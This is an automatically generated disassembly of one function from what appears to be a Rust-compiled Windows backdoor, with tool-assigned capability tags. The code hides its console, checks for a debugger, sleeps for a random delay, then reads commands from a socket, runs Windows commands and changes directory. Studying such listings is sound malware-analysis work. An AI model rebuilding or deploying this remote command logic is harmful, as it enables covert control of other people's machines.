Function at 0x14002ada3
Capabilities:
Check for peb beingdebugged flag
Receive data
Receive data on socket
Set current directory

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x338
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x2b0], 0xfffffffffffffffe
call sub.KERNEL32.dll_FreeConsole
test eax, eax
je 0x14002ae9e
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
cmp byte [rax + 2], 0
jne 0x14002cd1d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov esi, eax
call sub.KERNEL32.dll_GetCurrentThreadId
xor eax, esi
push 0xb
pop rcx
xor edx, edx
div ecx
mov esi, edx
lea rbx, [rbp + 0x240]
mov dword [rbx], edx
mov rdi, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rdi
push recv
pop rdx
mov rcx, rax
call sub.KERNEL32.dll_SetThreadPriority
imul ecx, esi, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call rdi
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_SetThreadPriority
lea rax, [rbp - 0x50]
mov qword [rax], rbx
lea rcx, [0x140004430]
mov qword [rax + 8], rcx
lea rdx, str.StartDelay_:_Sleeping__n
lea rcx, [rbp + 0xe0]
mov qword [rcx], rdx
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
call fcn.140019930
lea rsi, [rbp + 0xe0]
mov rcx, rsi
call fcn.14002d120
mov rsi, qword [rsi]
test rsi, rsi
je 0x14002aea5
mov rdi, qword [rbp + 0xe8]
jmp 0x14002ccb0
xor esi, esi
jmp 0x14002ccb0
lea rax, [rbp + 0xe8]
mov rax, qword [rax]
lea rcx, [rbp + 0x238]
mov qword [rcx], rax
lea rbx, [rbp + 0x220]
mov ecx, 0x100
mov dl, 1
call fcn.14000d5de
mov qword [rbp + 0x220], rax
mov qword [rbp + 0x228], rdx
mov qword [rbp + 0x230], 0x100
mov ecx, 0x2000
xor edx, edx
call fcn.14000d5de
mov r14, rdx
xor r12d, r12d
xor r13d, r13d
cmp r12, r13
jb 0x14002af3c
mov rcx, qword [rbp + 0x238]
mov rdx, r14
mov r8d, 0x2000
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x14002af25
movsxd r13, eax
xor r12d, r12d
jmp 0x14002af3c
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x274a
jne 0x14002cc6d
xor r12d, r12d
xor r13d, r13d
mov rsi, r13
sub rsi, r12
lea rdi, [r14 + r12]
cmp rsi, 0xf
ja 0x14002af5e
xor edx, edx
cmp rsi, rdx
je 0x14002af70
cmp byte [rdi + rdx], 0xa
je 0x14002af78
inc rdx
jmp 0x14002af4e
mov cl, 0xa
mov rdx, rdi
mov r8, rsi
call fcn.140005be0
mov r15, rax
jmp 0x14002af7c
mov rdx, rsi
xor r15d, r15d
jmp 0x14002af7c
push 1
pop r15
test r15, r15
je 0x14002af9b
cmp rdx, 0xffffffffffffffff
je 0x14002ccd5
lea rcx, [rdx + 1]
cmp rdx, rsi
jae 0x14002ccda
mov rsi, rcx
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call fcn.14000d643
add r12, rsi
cmp r12, r13
cmovae r12, r13
test r15, r15
jne 0x14002afc1
test rsi, rsi
jne 0x14002aefa
mov rdx, qword [rbp + 0x228]
mov r8, qword [rbp + 0x230]
lea rcx, [rbp + 0xe0]
mov qword [rbp + 0x290], rdx
call fcn.140003010
cmp qword [rbp + 0xe0], 0
jne 0x14002cce9
mov rdi, qword [rbp + 0xe8]
mov rax, qword [rbp + 0xf0]
lea rsi, [rdi + rax]
mov qword [rbp + 0xe0], rdi
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0xf0], rdi
mov qword [rbp + 0xf8], rsi
and qword [rbp + 0x100], 0
mov rbx, rdi
mov qword [rbp + 0x288], r14
lea rcx, [rbp + 0xf0]
call fcn.14002e735
test eax, eax
je 0x14002b092
cmp edx, 0x110000
mov r12d, 0
mov r15d, 0
je 0x14002b098
mov r12, qword [rbp + 0x100]
mov r14, qword [rbp + 0xf0]
mov r13, qword [rbp + 0xf8]
add rsi, r12
add rbx, r13
sub rsi, rbx
mov r15, rsi
add r15, r14
mov qword [rbp + 0x100], r15
mov ecx, edx
call fcn.14002e849
test al, al
mov rbx, r14
mov rsi, r13
jne 0x14002b030
jmp 0x14002b098
xor r12d, r12d
xor r15d, r15d
mov rbx, qword [rbp + 0xf0]
mov rsi, qword [rbp + 0xf8]
lea rcx, [rbp + 0xf0]
call fcn.14002e7cb
test eax, eax
je 0x14002b0d6
cmp edx, 0x110000
je 0x14002b0d6
mov ecx, edx
call fcn.14002e849
test al, al
jne 0x14002b098
sub rsi, rbx
add rsi, qword [rbp + 0x100]
mov r15, rsi
lea rsi, [rdi + r12]
add rdi, r15
sub r15, r12
xor r14d, r14d
mov r12, r14
lea rbx, [rsi + r14]
mov qword [rbp + 0xe0], rbx
mov qword [rbp + 0xe8], rdi
lea rcx, [rbp + 0xe0]
call fcn.14002e735
test eax, eax
je 0x14002b131
cmp edx, 0x110000
je 0x14002b131
lea r14, [r12 + rdi]
add rbx, qword [rbp + 0xe8]
sub r14, rbx
add r14, qword [rbp + 0xe0]
test edx, edx
mov r13, r12
mov r12, r14
je 0x14002b0e3
jmp 0x14002b137
xor r13d, r13d
xor r14d, r14d
lea rbx, [rsi + r12]
mov rdi, r15
lea rax, [rsi + r15]
mov qword [rbp + 0xe0], rbx
mov qword [rbp + 0xe8], rax
lea rcx, [rbp + 0xe0]
call fcn.14002e7cb
test eax, eax
je 0x14002b17f
cmp edx, 0x110000
je 0x14002b17f
mov r15, qword [rbp + 0xe8]
add r15, r12
sub r15, qword [rbp + 0xe0]
test edx, edx
je 0x14002b13b
jmp 0x14002b182
mov rdi, r14
add rsi, r13
sub rdi, r13
mov rcx, rsi
mov rdx, rdi
lea r8, str.lsdircmd_cError_running_windows_command:
push 2
pop rbx
mov r9, rbx
call fcn.14000d3ff
test al, al
lea rax, [0x140046202]
cmovne rsi, rax
push 3
pop rax
cmovne rdi, rax
lea r14, [rbp - 0x50]
mov rcx, r14
lea rdx, [0x140046205]
call fcn.14002aaa0
mov rcx, r14
lea rdx, [0x140046208]
mov r8, rbx
call fcn.14002ab90
mov rcx, r14
mov rdx, rsi
mov r8, rdi
call fcn.14002ab90
mov dword [rbp + 0x70], 0x8000000
push 3
pop r15
mov dword [rbp + 0xe0], r15d
mov rcx, r14
lea rbx, [rbp + 0xe0]
mov rdx, rbx
call fcn.14002e672
mov dword [rbp + 0xe0], r15d
mov rcx, r14
mov rdx, rbx
call fcn.14002e6f5
mov dword [rbp + 0xe0], r15d
mov rcx, r14
mov rdx, rbx
call fcn.14002e6b2
mov dword [rbp + 0x240], r15d
mov rcx, rbx
mov rdx, r14
lea r12, [rbp + 0x240]
mov r8, r12
xor r9d, r9d
call fcn.14001b670
mov r13, qword [rbp + 0xe0]
mov rax, qword [rbp + 0xf0]
cmp rax, 2
jne 0x14002b27c
lea rbx, [rbp + 0x220]
mov r14, qword [rbp + 0x288]
mov rdi, qword [rbp + 0x290]
jmp 0x14002b76f
mov r15, qword [rbp + 0xe8]
mov r14, qword [rbp + 0x100]
mov r12, qword [rbp + 0x108]
mov rbx, qword [rbp + 0x110]
mov rcx, qword [rbp + 0x118]
mov qword [rbp + 0x2a8], rcx
test rax, rax
je 0x14002b2b8
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [rbp + 0x1a8], 0
push 1
pop rax
mov qword [rbp + 0x1b0], rax
and qword [rbp + 0x1b8], 0
and qword [rbp + 0x200], 0
mov qword [rbp + 0x208], rax
and qword [rbp + 0x210], 0
test r14, r14
mov qword [rbp + 0x1f8], r13
mov qword [rbp + 0x298], r15
je 0x14002b550
test rbx, rbx
lea r8, [rbp + 0x1a8]
je 0x14002b59a
mov byte [rbp + 0x2a7], 1
lea rcx, [rbp + 0xe0]
mov rdx, r12
call fcn.1400270c0
push 0xffffffffffffffff
pop rbx
lea r14, [rbp + 0x240]
mov rax, qword [rbp + 0xe0]
mov r15, qword [rbp + 0xe8]
cmp rax, 3
je 0x14002cd22
lea rcx, [rbp + 0xf0]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rbp + 0x1d0]
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], r15
lea rcx, [rbp + 0xe0]
mov rdx, qword [rbp + 0x2a8]
lea r8, [rbp + 0x200]
call fcn.1400270c0
mov rax, qword [rbp + 0xe0]
mov r15, qword [rbp + 0xe8]
cmp rax, 3
je 0x14002b655
lea rcx, [rbp + 0xf0]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rbp + 0x250]
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov qword [rbp + 0x240], rax
mov qword [rbp + 0x248], r15
mov rax, qword [rbp + 0x1e8]
mov rcx, qword [rbp + 0x268]
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rcx
push 2
pop rcx
lea rdx, [rbp + 0xc0]
xor r8d, r8d
mov r9d, ebx
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
cmp eax, 1
je 0x14002b45f
test eax, eax
jne 0x14002b5f5
mov rax, qword [rbp + 0x1c0]
test rax, rax
je 0x14002b516
cmp eax, 1
jne 0x14002b4f7
mov rdx, qword [rbp + 0x1d0]
mov rcx, qword [rbp + 0x1e0]
and dword [rbp + 0xa8], 0
lea r8, [rbp + 0xa8]
push 1
pop r9
call qword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x14002c74c
mov eax, dword [rbp + 0xa8]
jmp 0x14002b4fe
mov rax, qword [rbp + 0x240]
test rax, rax
je 0x14002b4c9
cmp eax, 1
jne 0x14002b4a6
mov rdx, qword [rbp + 0x250]
mov rcx, qword [rbp + 0x260]
and dword [rbp + 0xa8], 0
lea r8, [rbp + 0xa8]
push 1
pop r9
call qword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x14002b608
mov eax, dword [rbp + 0xa8]
jmp 0x14002b4ad
mov rax, qword [rbp + 0x248]
and qword [rbp + 0x240], 0
mov rcx, qword [rbp + 0x258]
add qword [rcx + 0x10], rax
test rax, rax
je 0x14002b63e
lea rcx, [rbp + 0xe0]
mov rdx, r14
call fcn.1400273f0
cmp byte [rbp + 0xe0], 0
jne 0x14002b5ec
cmp byte [rbp + 0xe1], 0
jne 0x14002b3ea
jmp 0x14002b63e
mov rax, qword [rbp + 0x1c8]
and qword [rbp + 0x1c0], 0
mov rcx, qword [rbp + 0x1d8]
add qword [rcx + 0x10], rax
test rax, rax
je 0x14002b543
lea rcx, [rbp + 0xe0]
lea rdx, [rbp + 0x1c0]
call fcn.1400273f0
cmp byte [rbp + 0xe0], 0
jne 0x14002b5ec
cmp byte [rbp + 0xe1], 0
jne 0x14002b3ea
mov rcx, r14
call fcn.140027560
jmp 0x14002b64a
test rbx, rbx
push 0xffffffffffffffff
pop rbx
lea r14, [rbp + 0x240]
je 0x14002b678
mov rax, qword [rbp + 0x2a8]
mov qword [rbp + 0x1c0], rax
lea rcx, [rbp + 0xe0]
lea rdx, [rbp + 0x1c0]
lea r8, [rbp + 0x200]
call fcn.14001b000
cmp qword [rbp + 0xe0], 0
je 0x14002b5d3
jmp 0x14002cd60
mov qword [rbp + 0x2a8], r12
mov qword [rbp + 0x1c0], r12
lea rcx, [rbp + 0xe0]
lea rdx, [rbp + 0x1c0]
call fcn.14001b000
push 0xffffffffffffffff
pop rbx
cmp qword [rbp + 0xe0], 0
lea r14, [rbp + 0x240]
jne 0x14002cd95
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r13, qword [rbp + 0x1f8]
jmp 0x14002b678
mov r15, qword [rbp + 0xe8]
jmp 0x14002b64d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r15d, eax
shl r15, 0x20
or r15, 2
jmp 0x14002b64d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r15, rax
shl r15, 0x20
or r15, 2
mov qword [rbp + 0xe0], r15
cmp eax, 0x6d
je 0x14002b62a
cmp eax, 0x26
jne 0x14002b64d
lea rcx, [rbp + 0xe0]
call fcn.14000dce0
and qword [rbp + 0x240], 0
lea rcx, [rbp + 0x1c0]
call fcn.140027560
mov r15, rax
mov rcx, r14
call fcn.1400271d0
mov byte [rbp + 0x2a7], 0
lea rcx, [rbp + 0x1c0]
call fcn.1400271d0
test r15, r15
mov r13, qword [rbp + 0x1f8]
jne 0x14002cd2f
mov rcx, r13
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14002b6dc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r13d, eax
cmp qword [rbp + 0x200], 0
je 0x14002b6a9
mov rcx, qword [rbp + 0x208]
push 1
pop rdx
call fcn.1400014a0
mov r15, r14
cmp qword [rbp + 0x1a8], 0
je 0x14002b6c5
mov rcx, qword [rbp + 0x1b0]
push 1
pop rdx
call fcn.1400014a0
shl r13, 0x20
or r13, 2
movabs r14, 0x8000000000000000
mov r12, r14
jmp 0x14002b735
and dword [rbp + 0x240], 0
mov rcx, r13
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x14002b687
mov r15, r14
mov r12, qword [rbp + 0x1a8]
mov r13, qword [rbp + 0x1b0]
mov rax, qword [rbp + 0x1b8]
mov qword [rbp + 0x2a8], rax
mov rax, qword [rbp + 0x200]
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x208]
mov qword [rbp + 0x80], rax
movabs r14, 0x8000000000000000
mov rcx, qword [rbp + 0x1f8]
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rbx
mov rcx, qword [rbp + 0x298]
call rbx
cmp r12, r14
jne 0x14002b7de
lea rbx, [rbp + 0x220]
mov r14, qword [rbp + 0x288]
mov rdi, qword [rbp + 0x290]
mov r12, r15
mov qword [rbp + 0x1c0], r13
lea rsi, [rbp + 0x1c0]
mov qword [rbp + 0x240], rsi
lea rax, [0x140014ae0]
mov qword [rbp + 0x248], rax
lea rax, [0x140046230]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], 2
and qword [rbp + 0x100], 0
mov qword [rbp + 0xf0], r12
mov qword [rbp + 0xf8], 1
lea rcx, [rbp + 0xe0]
call fcn.140019b90
mov rcx, rsi
call fcn.14002e145
jmp 0x14002ca69
mov qword [rbp + 0x1f8], r12
mov qword [rbp + 0x290], r13
mov qword [rbp + 0x200], r13
mov rbx, qword [rbp + 0x2a8]
mov qword [rbp + 0x208], rbx
lea rcx, [rbp + 0xe0]
lea rdx, [rbp + 0x200]
call fcn.140006320
mov r12, qword [rbp + 0xe0]
test r12, r12
mov r14, qword [rbp + 0x288]
je 0x14002b899
mov r13, qword [rbp + 0xe8]
cmp qword [rbp + 0xf8], 0
je 0x14002b8a3
test rbx, rbx
push 1
pop rax
je 0x14002b85d
js 0x14002cdd5
mov al, byte [0x140056c88]
mov rcx, rbx
call fcn.140001490
test rax, rax
je 0x14002cdca
mov qword [rbp + 0x240], rbx
mov qword [rbp + 0x248], rax
and qword [rbp + 0x250], 0
cmp r13, rbx
jbe 0x14002b8b2
lea rcx, [rbp + 0x240]
xor edx, edx
mov r8, r13
call fcn.14003df30
mov rax, qword [rbp + 0x248]
mov r15, qword [rbp + 0x250]
jmp 0x14002b8b5
lea r12, str._0x2_rustc_25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04librarycore_src_strpattern.rs
xor r13d, r13d
movabs r15, 0x8000000000000000
jmp 0x14002ba0b
xor r15d, r15d
add rax, r15
mov rcx, rax
mov rdx, r12
mov r8, r13
call fcn.14003d400
add r15, r13
mov qword [rbp + 0x250], r15
mov rax, qword [rbp + 0x240]
sub rax, r15
cmp rax, 2
ja 0x14002b8fa
lea rcx, [rbp + 0x240]
mov rdx, r15
push 3
pop r8
call fcn.14003df30
mov r15, qword [rbp + 0x250]
mov r14, qword [rbp + 0x248]
mov byte [r14 + r15 + 2], 0xbd
mov word [r14 + r15], 0xbfef
add r15, 3
mov qword [rbp + 0x250], r15
movups xmm0, xmmword [rbp + 0x200]
movups xmmword [rbp + 0x1c0], xmm0
mov r13, r15
lea rcx, [rbp + 0xe0]
lea rdx, [rbp + 0x1c0]
call fcn.140006320
mov r15, qword [rbp + 0xe0]
test r15, r15
je 0x14002b9f6
mov r12, qword [rbp + 0xe8]
mov rbx, qword [rbp + 0xf8]
mov rax, qword [rbp + 0x240]
sub rax, r13
cmp rax, r12
jae 0x14002b98a
lea rcx, [rbp + 0x240]
mov rdx, r13
mov r8, r12
call fcn.14003df30
mov r14, qword [rbp + 0x248]
mov r13, qword [rbp + 0x250]
lea rcx, [r14 + r13]
mov rdx, r15
mov r8, r12
call fcn.14003d400
add r13, r12
mov qword [rbp + 0x250], r13
test rbx, rbx
je 0x14002b92a
mov rax, qword [rbp + 0x240]
sub rax, r13
cmp rax, 2
push 3
pop r8
ja 0x14002b9d2
lea rcx, [rbp + 0x240]
mov rdx, r13
call fcn.14003df30
mov r13, qword [rbp + 0x250]
mov r14, qword [rbp + 0x248]
mov byte [r14 + r13 + 2], 0xbd
mov word [r14 + r13], 0xbfef
add r13, 3
mov qword [rbp + 0x250], r13
jmp 0x14002b92a
mov r15, qword [rbp + 0x240]
mov r12, qword [rbp + 0x248]
mov r14, qword [rbp + 0x288]
mov rcx, rsi
mov rdx, rdi
lea r8, [0x1400461c1]
push 2
pop r9
call fcn.14000d516
test al, al
je 0x14002ba79
lea rbx, [rbp + 0xe0]
mov rcx, rbx
call fcn.140011190
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xe8]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x14002baf0
mov qword [rbp + 0xc8], rcx
movabs rax, 0x8000000000000001
mov qword [rbp + 0xc0], rax
lea rbx, [rbp + 0x220]
jmp 0x14002beaf
mov rcx, rsi
mov rdx, rdi
lea r8, [0x1400461c3]
push 6
pop r9
call fcn.14000d516
test al, al
je 0x14002bb53
lea rcx, [rbp + 0xe0]
lea rdx, [0x140046471]
push 8
pop r8
call fcn.140014f30
mov rsi, qword [rbp + 0xe0]
movabs rax, 0x8000000000000001
cmp rsi, rax
jne 0x14002bbbb
lea rcx, [rbp + 0xe8]
mov rax, qword [rcx + 0x10]
mov qword [rbp + 0x250], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rbp + 0x240], xmm0
lea rbx, [rbp + 0x240]
jmp 0x14002bbdc
mov qword [rbp + 0x90], rdx
mov qword [rbp + 0xa0], rcx
mov qword [rbp + 0x2a8], r12
mov rax, qword [rbp + 0xf0]
mov qword [rbp + 0x88], rax
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], rdi
mov byte [rbp + 0xf0], 0
mov rcx, rbx
call case.0x140025122.54
test rax, rax
mov rsi, rbx
mov qword [rbp + 0x298], r15
je 0x14002bded
mov rcx, rsi
call case.0x140025122.54
mov r12, rdx
jmp 0x14002bdef
mov rcx, rsi
mov rdx, rdi
lea r8, [0x1400461c9]
push 3
pop r14
mov r9, r14
call fcn.14000d516
test al, al
lea rbx, [rbp + 0x220]
je 0x14002bc35
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], rdi
mov byte [rbp + 0xf0], 0
lea rsi, [rbp + 0xe0]
mov rcx, rsi
call case.0x140025122.54
test rax, rax
je 0x14002c02f
mov rcx, rsi
call case.0x140025122.54
mov rcx, rsi
mov rsi, rdx
jmp 0x14002c034
mov rdi, qword [rbp + 0xe8]
lea rbx, [rbp + 0x240]
mov rcx, rbx
call fcn.14002d7ba
mov rcx, rsi
mov rdx, rdi
call fcn.14002d7f0
mov r13, qword [rbp + 0x290]
lea rcx, [rbp + 0xe0]
lea rdx, [0x140046479]
push 0xc
pop r8
call fcn.140014f30
mov rsi, qword [rbp + 0xe0]
movabs rax, 0x8000000000000001
cmp rsi, rax
jne 0x14002bc9a
lea rcx, [rbp + 0xe8]
mov rax, qword [rcx + 0x10]
lea rdx, [rbp + 0x1d8]
mov qword [rdx + 0x10], rax
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
jmp 0x14002bcb8
mov rcx, rsi
mov rdx, rdi
lea r8, [0x1400461cc]
mov r9, r14
call fcn.14000d516
test al, al
je 0x14002bf2d
lea rcx, [rbp + 0x240]
call fcn.140011190
mov rax, qword [rbp + 0x240]
mov rcx, qword [rbp + 0x248]
movabs r14, 0x8000000000000000
cmp rax, r14
jne 0x14002c50b
call fcn.140001000
mov rsi, rax
lea rdi, fcn.14002e145
mov r14, qword [rbp + 0x288]
jmp 0x14002bf08
mov rdi, qword [rbp + 0xe8]
lea rcx, [rbp + 0x1d8]
call fcn.14002d7ba
mov rcx, rsi
mov rdx, rdi
call fcn.14002d7f0
movaps xmm0, xmmword [rbp + 0x240]
movaps xmmword [rbp + 0x1c0], xmm0
mov rax, qword [rbp + 0x250]
mov qword [rbp + 0x1d0], rax
lea rsi, [rbp + 0xe0]
mov rcx, rsi
lea rdx, [0x140046485]
call fcn.14002aaa0
mov rcx, rsi
lea rdx, [0x140046488]
push 7
pop r8
call fcn.14002ab90
mov dword [rbp + 0x1a0], 0x8000000
push 3
pop rdi
mov dword [rbp + 0x240], edi
mov rcx, rsi
mov rdx, rbx
call fcn.14002e672
mov dword [rbp + 0x240], edi
mov rcx, rsi
mov rdx, rbx
call fcn.14002e6f5
mov dword [rbp + 0x240], edi
mov rcx, rsi
mov rdx, rbx
call fcn.14002e6b2
and dword [rbp + 0x1a8], 0
mov rcx, rbx
mov rdx, rsi
lea r8, [rbp + 0x1a8]
mov r9b, 1
call fcn.14001b670
mov rdi, qword [rbp + 0x240]
mov rax, qword [rbp + 0x250]
cmp rax, 2
mov qword [rbp + 0x298], r15
jne 0x14002bd80
mov qword [rbp + 0x98], rdi
jmp 0x14002c288
mov qword [rbp + 0x2a8], r12
mov r13, qword [rbp + 0x248]
mov rsi, qword [rbp + 0x260]
mov rbx, qword [rbp + 0x268]
mov r12, qword [rbp + 0x270]
mov r15, qword [rbp + 0x278]
test rax, rax
je 0x14002bdbc
mov rcx, qword [rbp + 0x258]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
push 0xffffffffffffffff
pop rdx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14002c1c5
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x98], rax
xor r14d, r14d
jmp 0x14002c1f3
xor eax, eax
test rax, rax
mov r15, rax
lea rcx, str._0x2_rustc_25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04librarycore_src_strpattern.rs
cmove r15, rcx
cmove r12, rax
mov rcx, rsi
mov rdx, r15
mov r8, r12
call fcn.140018310
cmp dword [rbp + 0xe0], 2
lea rbx, [rbp + 0x220]
jne 0x14002be3d
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x248], rax
mov qword [rbp + 0x240], 2
jmp 0x14002be58
push 9
pop rcx
lea rdi, [rbp + 0x240]
rep movsq qword [rdi], qword [rsi]
cmp qword [rbp + 0x240], 2
jne 0x14002bf8f
lea rcx, [rbp + 0x248]
call fcn.14002e145
xor ecx, ecx
lea rdx, str.Directory_does_not_existDirectory_changed_to
push 0x18
pop r8
call fcn.14000d424
mov qword [rbp + 0xc8], rax
movabs rax, 0x8000000000000001
mov qword [rbp + 0xc0], rax
mov rcx, qword [rbp + 0x90]
mov rdx, qword [rbp + 0xa0]
call fcn.14000d62d
mov r12, qword [rbp + 0x2a8]
mov r15, qword [rbp + 0x298]
lea rcx, [rbp + 0x238]
lea rdx, [0x1400461dd]
push 4
pop r8
call fcn.14002d2f8
test rax, rax
je 0x14002bedf
mov rsi, rax
mov rdi, rdx
lea rcx, [rbp + 0xc0]
call fcn.14002d433
jmp 0x14002bf08
lea rcx, [rbp + 0xc0]
call fcn.14002d433
lea rcx, [rbp + 0x238]
mov rdx, r12
mov r8, r13
call fcn.14002d2f8
test rax, rax
je 0x14002bf14
mov rsi, rax
mov rdi, rdx
mov r13, qword [rbp + 0x290]
jmp 0x14002ca2f
mov rcx, r15
mov rdx, r12
call fcn.14002d7f0
xor esi, esi
mov r13, qword [rbp + 0x290]
jmp 0x14002ca3a
mov rcx, rsi
mov rdx, rdi
lea r8, [0x1400461cf]
push 5
pop r9
call fcn.14000d516
test al, al
je 0x14002c614
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], rdi
mov byte [rbp + 0xf0], 0
lea rsi, [rbp + 0xe0]
mov rcx, rsi
call case.0x140025122.54
test rax, rax
mov r14, qword [rbp + 0x288]
je 0x14002c7ec
mov rcx, rsi
call case.0x140025122.54
mov rsi, rdx
jmp 0x14002c7ee
mov qword [rsp + 0x20], r12
lea r14, [rbp + 0xe0]
mov rcx, r14
mov rdx, qword [rbp + 0xa0]
mov r8, qword [rbp + 0x88]
mov r9, r15
call fcn.14001aef0
mov rsi, qword [rbp + 0xe8]
mov r8, qword [rbp + 0xf0]
lea rbx, [rbp + 0x240]
mov rcx, rbx
mov rdx, rsi
call fcn.14002a7a0
mov rcx, qword [rbp + 0x240]
mov rax, qword [rbp + 0x248]
movabs rdx, 0x8000000000000000
cmp rcx, rdx
jne 0x14002c66c
mov qword [rbp + 0xc8], rax
movabs rax, 0x8000000000000001
mov qword [rbp + 0xc0], rax
mov rcx, qword [rbp + 0xe0]
mov rdx, rsi
call fcn.14000d62d
lea rbx, [rbp + 0x220]
mov r14, qword [rbp + 0x288]
jmp 0x14002be8e
mov rcx, rsi
xor eax, eax
lea rbx, [rbp + 0x240]
mov r14, qword [rbp + 0x288]
mov r13, qword [rbp + 0x290]
test rax, rax
mov rdi, rax
lea rdx, str._0x2_rustc_25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04librarycore_src_strpattern.rs
cmove rdi, rdx
cmove rsi, rax
mov rdx, rdi
mov r8, rsi
call fcn.140018310
cmp dword [rbp + 0xe0], 2
jne 0x14002c132
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x1c8], rax
mov byte [rbp + 0x1c0], 1
lea rcx, [rbp + 0x1c8]
call fcn.14000dce0
mov al, byte [0x140056c88]
push 4
pop rcx
call fcn.140001490
test rax, rax
je 0x14002cdee
mov rdi, rax
mov dword [rax], 0x3278302d
mov al, byte [0x140056c88]
push 0x18
pop rcx
call fcn.140001490
test rax, rax
movabs rsi, 0x8000000000000000
je 0x14002cdda
push 4
pop r8
mov qword [rax], r8
mov qword [rax + 8], rdi
mov qword [rax + 0x10], r8
lea rcx, [0x140040730]
mov qword [rbp + 0x248], rax
mov qword [rbp + 0x250], rcx
mov qword [rbp + 0x240], rsi
lea rcx, [rbp + 0x238]
lea rdx, str._0x2_rustc_25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04librarycore_src_strpattern.rs
call fcn.14002d2f8
test rax, rax
je 0x14002c4f5
mov rsi, rax
mov rdi, rdx
mov rcx, rbx
call fcn.14002d405
jmp 0x14002c833
mov eax, dword [rbp + 0x120]
bt eax, 0xa
setae cl
bt dword [rbp + 0x124], 0x1d
setae dl
or dl, cl
cmp dl, 1
jne 0x14002c097
and eax, 0x10
jne 0x14002c097
mov qword [rbp + 0x298], r15
mov qword [rbp + 0x2a8], r12
lea rcx, [rbp + 0xe0]
mov rdx, rdi
mov r8, rsi
call case.0x14001161b.209
mov r12, qword [rbp + 0xe0]
mov r15, qword [rbp + 0xe8]
movabs rsi, 0x8000000000000000
cmp r12, rsi
jne 0x14002c7b0
mov rcx, r15
call fcn.140001000
lea rcx, fcn.14002e145
push 4
pop r8
mov r12, qword [rbp + 0x2a8]
mov r15, qword [rbp + 0x298]
jmp 0x14002c0ee
and dword [rbp + 0x240], 0
mov rcx, rdi
lea rdx, [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x14002bdd0
mov eax, dword [rbp + 0x240]
mov dword [rbp + 0xbc], eax
mov r14b, 1
mov rcx, rdi
mov rdi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rdi
mov rcx, r13
call rdi
test rsi, rsi
mov rsi, rdi
je 0x14002c211
mov rcx, rbx
call rsi
test r12, r12
lea rbx, [rbp + 0x240]
mov r13, qword [rbp + 0x290]
je 0x14002c229
mov rcx, r15
call rsi
test r14b, r14b
mov r12, qword [rbp + 0x2a8]
je 0x14002c27a
lea rsi, [rbp + 0xe0]
mov rcx, rsi
call fcn.14002e18a
cmp dword [rbp + 0xbc], 0
jne 0x14002c26e
lea rcx, [rbp + 0x1c0]
lea rdx, [0x14004659c]
push 8
pop r8
call fcn.14000d643
mov dword [rbp + 0xbc], 0
lea r14, [rbp + 0x1a8]
jmp 0x14002c2fd
mov rdi, qword [rbp + 0x98]
lea rsi, [rbp + 0xe0]
mov qword [rbp + 0xc0], rdi
lea rdi, [rbp + 0xc0]
mov qword [rbp + 0x1a8], rdi
lea rax, [0x140014ae0]
mov qword [rbp + 0x1b0], rax
lea rax, str._0x2_rustc_25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04librarycore_src_strpattern.rs
mov qword [rbp + 0x240], rax
mov qword [rbp + 0x248], 2
and qword [rbp + 0x260], 0
